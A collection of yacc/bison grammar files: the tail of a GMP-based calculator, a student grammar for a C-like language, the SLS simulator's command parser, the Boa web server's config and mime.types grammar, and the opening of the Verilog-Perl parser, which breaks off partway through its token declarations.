for (i = 0; i < numberof (stack); i++)
mpz_init (stack[i]);
return yyparse ();
}
|
%{
#include <stdio.h>
#include <stdlib.h>
void yyerror(char *s);
%}
%union { int a; }
%token tADD tMUL tSOU tDIV tCOP tAFC tJMP tJMF tINF tSUP tEQU tPRI
%start go
%%
go
: tMAIN tPOPEN tPCLOSE statement {printf("GO\n");};
statement
: tAOPEN expression tACLOSE
;
expression
: expression expression
| expression_arithmetic
| iteration_statement
| expression_print
;
expression_arithmetic
: tCHAR tVARNAME tEQUAL tAPOS tVARNAME tAPOS tSEMICOLON
| type variable_multiple tSEMICOLON
| variable_multiple tSEMICOLON /* Pour plus tard on rajoutera une boucle qui permettra de succéder plusieurs opérations*/
;
expression_print
: tPRINTF tPOPEN tVARNAME tPCLOSE tSEMICOLON
;
type
: tINT /* int a; int a,b,c; int a,b=5,c;*/
| tCONST
;
variable_multiple
: tVARNAME { printf("%s\n", $1); }
| tVARNAME tEQUAL value_variable
| tVARNAME tEQUAL value_variable tCOMA variable_multiple
| tVARNAME tEQUAL value_variable operation value_variable
| tVARNAME tEQUAL value_variable operation value_variable tCOMA variable_multiple
| tVARNAME tCOMA variable_multiple
;
iteration_statement
: tWHILE conditioner statement
| tIF conditioner statement
| tIF conditioner statement tELSE statement
| tIF conditioner tTHEN statement
;
conditional_expression
: tFALSE
| tTRUE
| value_variable
| value_variable comparator value_variable
| conditional_expression logical_connector conditional_expression
;
/* 1.024 == 2*/
value_variable
: tINTEGER
| tVARNAME
| tDEC;
logical_connector
: tAND
| tOR
;
conditioner
: tPOPEN conditional_expression tPCLOSE
;
comparator
: tBE
| tGEQ
| tLEQ
| tINF
| tSUP
;
operation
: tDIV
| tPLUS
| tMOINS
| tMULT
| tPOW
| tEXPO
;
%%
yyerror(char *s)
{
fprintf(stderr, "%s\n", s);
}
int main(){
printf("Start analysis \n");
yyparse();
/* yylex(); */
return(0);
}
|
%{
/*
* ISC License
*
* Copyright (C) 1990-2018 by
* <NAME>
* <NAME>
* <NAME>
* Delft University of Technology
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include "src/simeye2/define.h"
/* This file is a copy from sls but it has been stripped and modified */
#define MAXHIERAR 22
#define MAXSTACKLENGTH 100
char name_space[128]; /* memory space for a name */
PATH_SPEC pathspace[MAXHIERAR]; /* memory space for paths */
PATH_SPEC *fullpath; /* first of the current full path specification */
PATH_SPEC *last_path = NULL; /* last of the current full path specification */
STRING_REF *begin_str_list;
STRING_REF *end_str_list;
int sigcon; /* boolean flag */
int no_edit;
short lastval;
simtime_t * len_sp;
simtime_t len_stack[MAXSTACKLENGTH];
SIGNALELEMENT * sgn;
SIGNALELEMENT ** sgn_sp;
SIGNALELEMENT * sgn_stack[MAXSTACKLENGTH];
struct node *Begin_node;
struct node *End_node;
char *fn_cmd;
int sigendless;
simtime_t simperiod;
double sigtimeunit;
int errorDetected;
extern int yylineno;
void assignExprToNodes (void);
STRING_REF *names_from_path (int traillen, PATH_SPEC *path); // res.c
char *textval (void); // cmd_l.l
void yyerror (char *s);
%}
%union {
simtime_t lval;
int ival;
int *pival;
char *sval;
char **psval;
double dval;
double *pdval;
struct signalelement *signal;
struct path_spec *pathsp;
}
%token SET TILDE FROM FILL WITH PRINT_CMD PLOT_CMD OPTION SIMPERIOD
%token DUMP AT DISSIPATION INITIALIZE SIGOFFSET RACES DEVICES
%token ONLY CHANGES SLS_PROCESS SIGUNIT OUTUNIT OUTACC MAXPAGEWIDTH
%token MAXNVICIN MAXTVICIN MAXLDEPTH VH VMAXL VMINH STATISTICS
%token TDEVMIN TDEVMAX STEP DISPERIOD RANDOM FULL DEFINE_TOKEN
%token STA_FILE DOT DOTDOT LPS RPS LSB RSB LCB RCB EQL MINUS DOLLAR
%token COMMA SEMICOLON COLON MULT EXCLAM NEWLINE ILLCHAR TOGGLE LEVEL
%token <ival> LOGIC_LEVEL
%token <sval> IDENTIFIER INT STRING
%token <dval> POWER_TEN F_FLO
%type <lval> duration
%type <ival> integer
%type <dval> f_float
%type <pdval> f_float_option
%type <sval> member_name
%type <signal> value signal_exp value_exp
%type <pathsp> ref_item
%%
sim_cmd_list : sim_cmd
| sim_cmd_list eoc sim_cmd
| error eoc sim_cmd
{
yyerrok;
last_path = NULL;
}
;
sim_cmd : set_cmd
| print_cmd
| plot_cmd
| dump_cmd
| dissip_cmd
| init_cmd
| fill_cmd
| define_cmd
| option_cmd
| /* empty */
;
set_cmd : SET node_refs EQL signal_exp
{
assignExprToNodes ();
len_sp = len_stack; /* reset stacks for signal_exp */
sgn_sp = sgn_stack;
}
| SET node_refs COLON node_refs FROM STRING
;
signal_exp : value_exp
{
*++len_sp = $1 -> len;
$$ = *sgn_sp++ = $1;
}
| signal_exp value_exp
{
if ($2 -> len < 0)
*len_sp = -1;
else
*len_sp += $2 -> len;
$1 -> sibling = $2;
$$ = $2;
}
;
value_exp : value
{
/* default duration 1 unit */
$$ = $1;
if ($1 -> child)
$$ -> len = $1 -> child -> len;
else
$$ -> len = 1;
}
| value MULT duration
{
$$ = $1;
if ($1 -> child)
$$ -> len = $1 -> child -> len * $3;
else
$$ -> len = $3;
if (sigcon && $3 < 0) sigendless = TRUE;
}
;
value : LOGIC_LEVEL
{
NEW ($$, 1, SIGNALELEMENT);
lastval = $$ -> val = $1;
sigcon = FALSE;
}
| LPS signal_exp RPS
{
NEW ($$, 1, SIGNALELEMENT);
NEW ($$ -> child, 1, SIGNALELEMENT);
$$ -> child -> sibling = *--sgn_sp;
$$ -> val = $$ -> child -> val = lastval;
$$ -> child -> len = *len_sp--;
sigcon = TRUE;
}
;
duration : INT
{
$$ = atoll ($1);
}
| TILDE
{
$$ = -1;
}
;
print_cmd : PRINT_CMD node_refs
;
plot_cmd : PLOT_CMD node_refs
;
dissip_cmd : DISSIPATION dis_node_refs
;
dis_node_refs : node_refs
| /* empty */
;
node_refs : ref_item
{
begin_str_list = end_str_list = names_from_path (0, fullpath);
while (end_str_list -> next) end_str_list = end_str_list -> next;
}
| node_refs ref_item
{
end_str_list -> next = names_from_path (0, fullpath);
while (end_str_list -> next) end_str_list = end_str_list -> next;
}
;
ref_item : full_node_ref
{
$$ = fullpath;
last_path = NULL; /* for the next call */
}
| COMMA
{
$$ = NULL;
}
;
full_node_ref : member_ref
| EXCLAM member_ref
| full_node_ref DOT member_ref
;
member_ref : member_name
{
if (last_path == NULL) {
/* this is the leftmost (the first) member of a path */
last_path = pathspace;
fullpath = last_path;
}
else {
last_path -> next = last_path + 1;
last_path = last_path -> next;
}
last_path -> next = NULL;
last_path -> also = NULL;
strcpy (last_path -> name, $1);
}
ref_indices
;
member_name : INT
{
strcpy (name_space, $1); /* copying is necessary */
$$ = name_space;
}
| IDENTIFIER
{
strcpy (name_space, $1);
$$ = name_space;
}
| keyword
{
strcpy (name_space, textval ());
$$ = name_space;
}
;
keyword : SET
| LEVEL
| LOGIC_LEVEL
| FROM
| FILL
| WITH
| PRINT_CMD
| PLOT_CMD
| OPTION
| SIMPERIOD
| DISPERIOD
| DISSIPATION
| DUMP
| AT
| INITIALIZE
| SIGOFFSET
| RACES
| DEVICES
| STATISTICS
| ONLY
| CHANGES
| SLS_PROCESS
| SIGUNIT
| OUTUNIT
| OUTACC
| MAXPAGEWIDTH
| MAXNVICIN
| MAXTVICIN
| MAXLDEPTH
| VH
| VMAXL
| VMINH
| TDEVMIN
| TDEVMAX
| TOGGLE
| STEP
| RANDOM
| FULL
| DEFINE_TOKEN
| STA_FILE
;
ref_indices : /* empty */
{
last_path -> xarray[0][0] = 0;
}
| LSB
{
last_path -> xarray[0][0] = 0;
}
index_list RSB
;
index_list : index
| index_list COMMA index
;
index : integer
{
last_path -> xarray[0][0]++;
last_path -> xarray[last_path -> xarray[0][0]][0] = $1;
last_path -> xarray[last_path -> xarray[0][0]][1] = $1;
}
| integer DOTDOT integer
{
last_path -> xarray[0][0]++;
last_path -> xarray[last_path -> xarray[0][0]][0] = $1;
last_path -> xarray[last_path -> xarray[0][0]][1] = $3;
}
;
option_cmd : OPTION option
| option_cmd option
;
option : toggle_option EQL TOGGLE
| int_option EQL INT
| SIMPERIOD EQL INT
{
simperiod = atoll ($3);
}
| pow_ten_option EQL pow_ten
| f_float_option EQL f_float
{
if ($1) *$1 = $3;
}
| string_option EQL STRING
;
toggle_option : STEP
| PRINT_CMD RACES
| ONLY CHANGES
| PRINT_CMD DEVICES
| PRINT_CMD STATISTICS
| INITIALIZE RANDOM
| INITIALIZE FULL RANDOM
| STA_FILE
;
int_option : DISPERIOD
| MAXNVICIN
| MAXTVICIN
| MAXLDEPTH
| MAXPAGEWIDTH
| LEVEL
| SIGOFFSET
;
pow_ten_option : OUTUNIT
| OUTACC
;
pow_ten : INT
| POWER_TEN
;
f_float_option : SIGUNIT
{
$$ = &sigtimeunit;
}
| VH
{
$$ = NULL;
}
| VMAXL
{
$$ = NULL;
}
| VMINH
{
$$ = NULL;
}
| TDEVMIN
{
$$ = NULL;
}
| TDEVMAX
{
$$ = NULL;
}
;
f_float : INT
{
$$ = atof ($1);
}
| POWER_TEN
{
$$ = $1;
}
| F_FLO
{
$$ = $1;
}
;
string_option : SLS_PROCESS
;
dump_cmd : DUMP AT integer
;
init_cmd : INITIALIZE FROM STRING
;
fill_cmd : FILL full_node_ref WITH fillvals
;
fillvals : fillchars
| fillvals fillchars
| fillint
| fillvals fillint
| fillfloat
| fillvals fillfloat
;
fillchars : STRING
;
fillint : INT
;
fillfloat : F_FLO
;
define_cmd : DEFINE_TOKEN node_refs COLON member_name define_entries
;
define_entries : define_entry
| define_entries define_entry
;
define_entry : def_sig_vals COLON escape_char member_name
;
escape_char : DOLLAR
| /* empty */
;
def_sig_vals : def_sig_val
| def_sig_vals def_sig_val
;
def_sig_val : LOGIC_LEVEL
| MINUS
;
integer : INT
{
$$ = atoi ($1);
}
;
eoc : SEMICOLON
| NEWLINE
;
%%
#include "cmd_l.h"
#ifndef YY_CURRENT_BUFFER
#define YY_CURRENT_BUFFER yy_current_buffer
#endif
void cmdinits ()
{
/* this function re-initializes the lex scanner: */
#ifdef FLEX_SCANNER
if (YY_CURRENT_BUFFER) yyrestart (yyin);
#else
; /* some versions of lex may require "yysptr = yysbuf" */
#endif
yylineno = 1;
len_sp = len_stack;
sgn_sp = sgn_stack;
sigendless = FALSE;
simperiod = -1;
sigtimeunit = -1;
errorDetected = 0;
Begin_node = NULL;
End_node = NULL;
}
void cslserror (char *s)
{
char buf[264];
int lineno = yylineno;
if (yychar == NEWLINE) lineno--;
if (!errorDetected) {
sprintf (buf, "%s, line %d: %s", fn_cmd, lineno, s);
windowMessage (buf, -1);
errorDetected = 1;
}
}
void yyerror (char *s)
{
cslserror (s);
}
SIGNALELEMENT *copysgn (SIGNALELEMENT *sgn)
{
SIGNALELEMENT *newsgn;
NEW (newsgn, 1, SIGNALELEMENT);
newsgn -> val = sgn -> val;
newsgn -> len = sgn -> len;
if (sgn -> sibling)
newsgn -> sibling = copysgn (sgn -> sibling);
if (sgn -> child)
newsgn -> child = copysgn (sgn -> child);
return (newsgn);
}
void assignExprToNodes ()
{
STRING_REF *str_ref;
struct node *n;
SIGNALELEMENT *sgn;
SIGNALELEMENT *head, *tail;
NEW (sgn, 1, SIGNALELEMENT);
sgn -> sibling = *--sgn_sp;
sgn -> val = lastval;
sgn -> len = *len_sp;
for (str_ref = begin_str_list; str_ref; str_ref = str_ref -> next) {
/* perform linear search to find node */
n = Begin_node;
while (n && !strsame (str_ref -> str, n -> name)) n = n -> next;
/* if not first node, copy sig. expr. */
if (str_ref != begin_str_list) {
sgn = copysgn (sgn);
}
/* add expression to current expression of node or create new node */
if (n) {
head = tail = n -> expr;
if (tail -> len >= 0) {
while (tail -> sibling) {
if (tail == sgn -> sibling) {
cslserror ("signal multipally connected to same node");
}
tail = tail -> sibling;
}
tail -> sibling = sgn -> sibling;
if (sgn -> len < 0)
head -> len = -1;
else
head -> len += sgn -> len;
head -> val = sgn -> val;
}
}
else {
NEW (n, 1, struct node);
n -> name = str_ref -> str;
n -> expr = sgn;
n -> next = NULL;
if (End_node) {
End_node -> next = n;
End_node = n;
}
else {
Begin_node = End_node = n;
}
}
n -> no_edit = no_edit;
}
}
|
%{
/*
* Boa, an http server
* Copyright (C) 1995 <NAME> <<EMAIL>>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 1, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*
*/
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pwd.h> /* struct passwd */
#include <grp.h> /* struct group */
#include "boa.h"
int yyerror(char * msg);
/* yydebug = 1; */
#ifdef DEBUG
#define DBG(x) x
#else
#define DBG(x)
#endif
char *arg1hold;
char mime_type[256]; /* global to inherit */
%}
%union {
char * sval;
int ival;
struct ccommand * cval;
};
/* boa.conf tokens */
%token <cval> STMT_NO_ARGS STMT_ONE_ARG STMT_TWO_ARGS
/* mime.type tokens */
%token <sval> MIMETYPE
%token <sval> STRING
%token <ival> INTEGER
%start ConfigFiles
%%
ConfigFiles: BoaConfigStmts MimeTypeStmts
;
BoaConfigStmts: BoaConfigStmts BoaConfigStmt
| /* empty */
;
BoaConfigStmt:
StmtNoArgs
| StmtOneArg
| StmtTwoArgs
;
StmtNoArgs: STMT_NO_ARGS
{ if ($1->action) {
DBG(printf("StmtNoArgs: %s\n",$1->name);)
$1->action(NULL,NULL,$1->object);
}
}
;
StmtOneArg: STMT_ONE_ARG STRING
{ if ($1->action) {
DBG(printf("StmtOneArg: %s %s\n",$1->name,$2);)
$1->action($2,NULL,$1->object);
}
}
;
StmtTwoArgs: STMT_TWO_ARGS STRING
{ arg1hold = strdup($2); }
STRING
{ if ($1->action) {
DBG(printf("StmtTwoArgs: '%s' '%s' '%s'\n",
$1->name,arg1hold,$4);)
$1->action(arg1hold,$4,$1->object);
}
free(arg1hold);
}
;
/******************* mime.types **********************/
MimeTypeStmts: MimeTypeStmts MimeTypeStmt
| /* empty */
;
MimeTypeStmt: MIMETYPE
{ strcpy(mime_type, $1); }
ExtensionList
;
ExtensionList: ExtensionList Extension
| /* empty */
;
Extension: STRING
{ add_mime_type($1, mime_type); }
;
%%
|
<filename>Parser/VParseBison.y
// -*- C++ -*-
//*************************************************************************
// DESCRIPTION: Verilog-Perl bison parser
//
// This file is part of Verilog-Perl.
//
// Author: <NAME> <<EMAIL>>
//
// Code available from: https://www.veripool.org/verilog-perl
//
//*************************************************************************
//
// Copyright 2001-2020 by <NAME>. This program is free software;
// you can redistribute it and/or modify it under the terms of either the GNU
// Lesser General Public License Version 3 or the Perl Artistic License Version 2.0.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
//*************************************************************************
%{
#include <cstdio>
#include <fstream>
#include <stack>
#include <vector>
#include <map>
#include <deque>
#include <cassert>
#include <cstring>
#include <cerrno>
#include <cstdlib>
#include <climits>
#include "VParse.h"
#include "VParseGrammar.h"
#define YYERROR_VERBOSE 1
#define YYINITDEPTH 5000 // Large as the stack won't grow, since YYSTYPE_IS_TRIVIAL isn't defined
#define YYMAXDEPTH 5000
// See VParseGrammar.h for the C++ interface to this parser
// Include that instead of VParseBison.h
//*************************************************************************
#define GRAMMARP VParseGrammar::staticGrammarp()
#define PARSEP VParseGrammar::staticParsep()
#define NEWSTRING(text) (string((text)))
#define SPACED(a,b) ((a)+(((a)=="" || (b)=="")?"":" ")+(b))
#define VARRESET_LIST(decl) { GRAMMARP->pinNum(1); VARRESET(); VARDECL(decl); } // Start of pinlist
#define VARRESET_NONLIST(decl) { GRAMMARP->pinNum(0); VARRESET(); VARDECL(decl); } // Not in a pinlist
#define VARRESET() { VARDECL(""); VARIO(""); VARNET(""); VARDTYPE(""); } // Start of one variable decl
// VARDECL("") indicates inside a port list or IO list and we shouldn't declare the variable
#define VARDECL(type) { GRAMMARP->m_varDecl = (type); } // genvar, parameter, localparam
#define VARIO(type) { GRAMMARP->m_varIO = (type); } // input, output, inout, ref, const ref
#define VARNET(type) { GRAMMARP->m_varNet = (type); } // supply*,wire,tri
#define VARDTYPE(type) { GRAMMARP->m_varDType = (type); } // "signed", "int", etc
#define PINNUMINC() { GRAMMARP->pinNumInc(); }
#define INSTPREP(cellmod,cellparam,withinInst) { GRAMMARP->pinNum(1); GRAMMARP->m_cellMod=(cellmod); GRAMMARP->m_cellParam=(cellparam); GRAMMARP->m_withinInst = 1; }
#define INSTDONE() { GRAMMARP->m_withinInst = 0; }
enum net_idx {NI_NETNAME = 0, NI_MSB, NI_LSB};
static void VARDONE(VFileLine* fl, const string& name, const string& array, const string& value) {
if (GRAMMARP->m_varIO!="" && GRAMMARP->m_varDecl=="") GRAMMARP->m_varDecl="port";
if (GRAMMARP->m_varDecl!="") {
PARSEP->varCb(fl, GRAMMARP->m_varDecl, name, PARSEP->symObjofUpward(), GRAMMARP->m_varNet,
GRAMMARP->m_varDType, array, value);
}
if (GRAMMARP->m_varIO!="" || GRAMMARP->pinNum()) {
PARSEP->portCb(fl, name, PARSEP->symObjofUpward(),
GRAMMARP->m_varIO, GRAMMARP->m_varDType, array, GRAMMARP->pinNum());
}
if (GRAMMARP->m_varDType == "type") {
PARSEP->syms().replaceInsert(VAstType::TYPE,name);
}
}
static void VARDONETYPEDEF(VFileLine* fl, const string& name, const string& type, const string& array) {
VARRESET(); VARDECL("typedef"); VARDTYPE(type);
VARDONE(fl,name,array,"");
// TYPE shouldn't override a more specific node type, as often is forward reference
PARSEP->syms().replaceInsert(VAstType::TYPE,name);
}
static void parse_net_constants(VFileLine* fl, VParseHashElem nets[][3]) {
VParseHashElem (*net)[3] = &nets[0];
VParseHashElem* nhp = net[0];
std::deque<VParseNet>::iterator it = GRAMMARP->m_portStack.begin();
while (it != GRAMMARP->m_portStack.end()) {
// Default net name is simply the complete token
const char* netnamep = it->m_name.c_str();
size_t delim = it->m_name.find_first_of("'");
if (it->m_name[0] != '\\' && it->m_msb.empty()
&& delim != string::npos && it->m_name[delim] == '\'') {
// Handle sized integer constants (e.g., 7'b0) specifically but ignore replications (e.g., {4{w}})
if (delim != 0 && netnamep[0] != '{') {
// Handle the first part that indicates the width for sized constants (guaranteed to be a decimal)
char* endp;
errno = 0;
long l = strtol(netnamep, &endp, 10);
if ((errno == ERANGE && l == LONG_MAX) || l > INT_MAX || l <= 0) {
fl->error((string)"Unexpected length in size of integer constant: \""+netnamep+"\".");
return;
}
// Skip whitespace
while (endp < netnamep + delim && isspace(*endp)) {
endp++;
}
if (endp != netnamep + delim) {
fl->error((string)"Could not convert size of integer constant: \""+netnamep+"\".");
return;
}
int count = l;
// Skip characters up to the delimiter ' to determine new netnamep
netnamep += delim;
// Test for legal base specifiers:
// d, D, h, H, o, O , b, or B for the decimal, hexadecimal, octal, and binary bases, respectively
char base = netnamep[1];
// 's' indicates a signed constant, is followed by the actual base; currently ignored
if (base == 's' || base == 'S') {
base = netnamep[2];
}
if (strchr("dDhHoObB", base) == NULL) {
fl->error((string)"Base specifier \""+base+"\" is not valid in integer constant \""+it->m_name.c_str()+"\".");
return;
}
// These assignments could be prettified with C++11
nhp[NI_MSB].keyp = "msb";
nhp[NI_MSB].val_type = VParseHashElem::ELEM_INT;
nhp[NI_MSB].val_int = count - 1;
nhp[NI_LSB].keyp = "lsb";
nhp[NI_LSB].val_type = VParseHashElem::ELEM_INT;
nhp[NI_LSB].val_int = 0;
} else {
// fl->error increases the error count which would create regressions for no good reasons.
// There is no ->warn or similar though but we could print, e.g., to stderr in these cases
//fl->error((string)"Neither unsized integer constant nor replications are not fully supported in nets (\""+netnamep+"\").");
//fprintf(stderr, "Neither unsized integer constant nor replications are not fully supported in nets (\"%s\").\n", netnamep);
}
} else {
// Ordinary net names might have a range attached or not.
// If it does then parse its bounds into proper integers.
const char *msbstr = it->m_msb.c_str();
if (msbstr[0] != '\0') {
{ // Parse NI_MSB
char* endp;
errno = 0;
long l = strtol(msbstr, &endp, 10);
// Test for range within int, and proper parsing
if ((errno == ERANGE && l == LONG_MAX) || l > INT_MAX || l < 0
|| (endp && l == 0 && errno == ERANGE)) {
fl->error((string)"Unexpected length in msb specification of \""+netnamep+"\" (endp="+endp+", errno="+strerror(errno)+").");
return;
}
nhp[NI_MSB].keyp = "msb";
nhp[NI_MSB].val_type = VParseHashElem::ELEM_INT;
nhp[NI_MSB].val_int = (int)l;
}
{ // Parse NI_LSB
char* endp;
errno = 0;
long l = strtol(it->m_lsb.c_str(), &endp, 10);
if ((errno == ERANGE && l == LONG_MAX) || l > INT_MAX || l < 0
|| (endp && l == 0 && errno == ERANGE)) {
fl->error((string)"Unexpected length in lsb specification of \""+netnamep+"\".");
return;
}
nhp[NI_LSB].keyp = "lsb";
nhp[NI_LSB].val_type = VParseHashElem::ELEM_INT;
nhp[NI_LSB].val_int = (int)l;
}
} else {
nhp[NI_MSB].keyp = NULL;
nhp[NI_LSB].keyp = NULL;
}
}
nhp[NI_NETNAME].keyp = "netname";
nhp[NI_NETNAME].val_type = VParseHashElem::ELEM_STR;
nhp[NI_NETNAME].val_str = netnamep;
*it++;
nhp += 3; // We operate on three elements in each iteration
}
}
static void PINDONE(VFileLine* fl, const string& name, const string& expr) {
if (GRAMMARP->m_cellParam) {
// Stack them until we create the instance itself
GRAMMARP->m_pinStack.push_back(VParseGPin(fl, name, expr, GRAMMARP->pinNum()));
} else {
PARSEP->pinCb(fl, name, expr, GRAMMARP->pinNum());
if (PARSEP->usePinSelects()) {
if (GRAMMARP->m_portStack.empty()) {
string netname;
if (GRAMMARP->m_portNextNetName.empty()) {
netname = expr;
} else {
netname = GRAMMARP->m_portNextNetName;
}
size_t elem_cnt = GRAMMARP->m_portNextNetMsb.empty() ? 1 : 3;
VParseHashElem nets[elem_cnt];
// These assignments could be prettified with C++11
nets[NI_NETNAME].keyp = "netname";
nets[NI_NETNAME].val_type = VParseHashElem::ELEM_STR;
nets[NI_NETNAME].val_str = netname;
if (elem_cnt > 1) {
nets[NI_MSB].keyp = "msb";
nets[NI_MSB].val_type = VParseHashElem::ELEM_STR;
nets[NI_MSB].val_str = GRAMMARP->m_portNextNetMsb;
nets[NI_LSB].keyp = "lsb";
nets[NI_LSB].val_type = VParseHashElem::ELEM_STR;
nets[NI_LSB].val_str = GRAMMARP->m_portNextNetLsb;
}
PARSEP->pinselectsCb(fl, name, 1, elem_cnt, &nets[0], GRAMMARP->pinNum());
} else {
// Connection with multiple pins was parsed completely.
// There might be one net left in the pipe...
if (GRAMMARP->m_portNextNetValid) {
GRAMMARP->m_portStack.push_front(VParseNet(GRAMMARP->m_portNextNetName, GRAMMARP->m_portNextNetMsb, GRAMMARP->m_portNextNetLsb));
}
unsigned int arraycnt = GRAMMARP->m_portStack.size();
VParseHashElem nets[arraycnt][3];
parse_net_constants(fl, nets);
PARSEP->pinselectsCb(fl, name, arraycnt, 3, &nets[0][0], GRAMMARP->pinNum());
}
// Clear all pin-related fields
GRAMMARP->m_portNextNetValid = false;
GRAMMARP->m_portNextNetName.clear();
GRAMMARP->m_portStack.clear();
GRAMMARP->m_portNextNetMsb.clear();
GRAMMARP->m_portNextNetLsb.clear();
}
}
}
static void PINPARAMS() {
// Throw out all the "pins" we found before we could do instanceCb
while (!GRAMMARP->m_pinStack.empty()) {
VParseGPin& pinr = GRAMMARP->m_pinStack.front();
PARSEP->parampinCb(pinr.m_fl, pinr.m_name, pinr.m_conn, pinr.m_number);
GRAMMARP->m_pinStack.pop_front();
}
GRAMMARP->m_withinPin = true;
}
static void PORTNET(VFileLine* fl, const string& name) {
if (!GRAMMARP->m_withinInst) {
return;
}
GRAMMARP->m_portNextNetValid = true;
GRAMMARP->m_portNextNetName = name;
GRAMMARP->m_portNextNetMsb.clear();
GRAMMARP->m_portNextNetLsb.clear();
}
static void PORTRANGE(const string& msb, const string& lsb) {
if (!GRAMMARP->m_withinInst) {
return;
}
GRAMMARP->m_portNextNetMsb = msb;
GRAMMARP->m_portNextNetLsb = lsb;
}
static void PIN_CONCAT_APPEND(const string& expr) {
if (!GRAMMARP->m_withinPin) {
return;
}
if (!GRAMMARP->m_portNextNetValid) {
// Only while not within a valid net term the expression is part
// of a replication constant. If that's detected ignore the
// previous expression (that is actually just the contained
// concatenation) in favor of the full replication expression.
if (expr[0] == '{') {
if (expr.find_first_of("{", 1) != string::npos) {
// fprintf(stderr, "%d: ignoring \"%s\" in favor of \"%s\".\n", __LINE__, GRAMMARP->m_portStack.front().m_name.c_str(), expr.c_str());
GRAMMARP->m_portStack.pop_front();
GRAMMARP->m_portStack.push_front(VParseNet(expr));
}
} else {
GRAMMARP->m_portStack.push_front(VParseNet(expr));
}
} else {
GRAMMARP->m_portStack.push_front(VParseNet(GRAMMARP->m_portNextNetName, GRAMMARP->m_portNextNetMsb, GRAMMARP->m_portNextNetLsb));
}
GRAMMARP->m_portNextNetValid = false;
}
/* Yacc */
static int VParseBisonlex(VParseBisonYYSType* yylvalp) { return PARSEP->lexToBison(yylvalp); }
static void VParseBisonerror(const char *s) { VParseGrammar::bisonError(s); }
static void ERRSVKWD(VFileLine* fileline, const string& tokname) {
static int toldonce = 0;
fileline->error((string)"Unexpected \""+tokname+"\": \""+tokname+"\" is a SystemVerilog keyword misused as an identifier.");
if (!toldonce++) fileline->error("Modify the Verilog-2001 code to avoid SV keywords, or use `begin_keywords or --language.");
}
static void NEED_S09(VFileLine*, const string&) {
//Let lint tools worry about it
//fileline->error((string)"Advanced feature: \""+tokname+"\" is a 1800-2009 construct, but used under --language 1800-2005 or earlier.");
}
%}
BISONPRE_VERSION(0.0, 2.999, %pure_parser)
BISONPRE_VERSION(3.0, %pure-parser)
BISONPRE_VERSION(0.0, 2.999, %token_table)
BISONPRE_VERSION(3.0, %token-table)
BISONPRE_VERSION(2.4, 2.999, %define lr.keep_unreachable_states)
BISONPRE_VERSION(3.0, %define lr.keep-unreachable-state)
// When writing Bison patterns we use yTOKEN instead of "token",
// so Bison will error out on unknown "token"s.
// Generic lexer tokens, for example a number
// IEEE: real_number
%token<str> yaFLOATNUM "FLOATING-POINT NUMBER"
// IEEE: identifier, class_identifier, class_variable_identifier,
// covergroup_variable_identifier, dynamic_array_variable_identifier,
// enum_identifier, interface_identifier, interface_instance_identifier,
// package_identifier, type_identifier, variable_identifier,
%token<str> yaID__ETC "IDENTIFIER"
%token<str> yaID__LEX "IDENTIFIER-in-lex"
%token<str> yaID__aPACKAGE "PACKAGE-IDENTIFIER"
%token<str> yaID__aTYPE "TYPE-IDENTIFIER"
// aCOVERGROUP is same as aTYPE
// Can't predecode aFUNCTION, can declare after use
// Can't predecode aINTERFACE, can declare after use
// Can't predecode aTASK, can declare after use
// IEEE: integral_number
%token<str> yaINTNUM "INTEGER NUMBER"
// IEEE: time_literal + time_unit
%token<str> yaTIMENUM "TIME NUMBER"
// IEEE: string_literal
%token<str> yaSTRING "STRING"
%token<str> yaSTRING__IGNORE "STRING-ignored" // Used when expr:string not allowed
%token<str> yaTIMINGSPEC "TIMING SPEC ELEMENT"
%token<str> ygenGATE "GATE keyword"
%token<str> ygenCONFIGKEYWORD "CONFIG keyword (cell/use/design/etc)"
%token<str> ygenOPERATOR "OPERATOR"
%token<str> ygenSTRENGTH "STRENGTH keyword (strong1/etc)"
%token<str> ygenSYSCALL "SYSCALL"
%token<str> '!'
%token<str> '#'
%token<str> '%'
%token<str> '&'
%token<str> '('
%token<str> ')'
%token<str> '*'
%token<str> '+'
%token<str> ','
%token<str> '-'
%token<str> '.'
%token<str> '/'
%token<str> ':'
%token<str> ';'
%token<str> '<'
%token<str> '='
%token<str> '>'
%token<str> '?'
%token<str> '@'
%token<str> '['
%token<str> ']'
%token<str> '^'
%token<str> '{'
%token<str> '|'
%token<str> '}'
%token<str> '~'
// Specific keywords
// yKEYWORD means match "keyword"
// Other cases are yXX_KEYWORD where XX makes it unique,
// for example yP_ for punctuation based operators.
// Double underscores "yX__Y" means token X followed by Y,
// and "yX__ETC" means X folled by everything but Y(s).
%token<str> yACCEPT_ON "accept_on"
%token<str> yALIAS "alias"
%token<str> yALWAYS "always"
%token<str> yAND "and"
%token<str> yASSERT "assert"
%token<str> yASSIGN "assign"
%token<str> yASSUME "assume"
%token<str> yAUTOMATIC "automatic"
%token<str> yBEFORE "before"
%token<str> yBEGIN "begin"
%token<str> yBIND "bind"
%token<str> yBINS "bins"
%token<str> yBINSOF "binsof"
%token<str> yBIT "bit"
%token<str> yBREAK "break"
%token<str> yBUF "buf"
%token<str> yBYTE "byte"
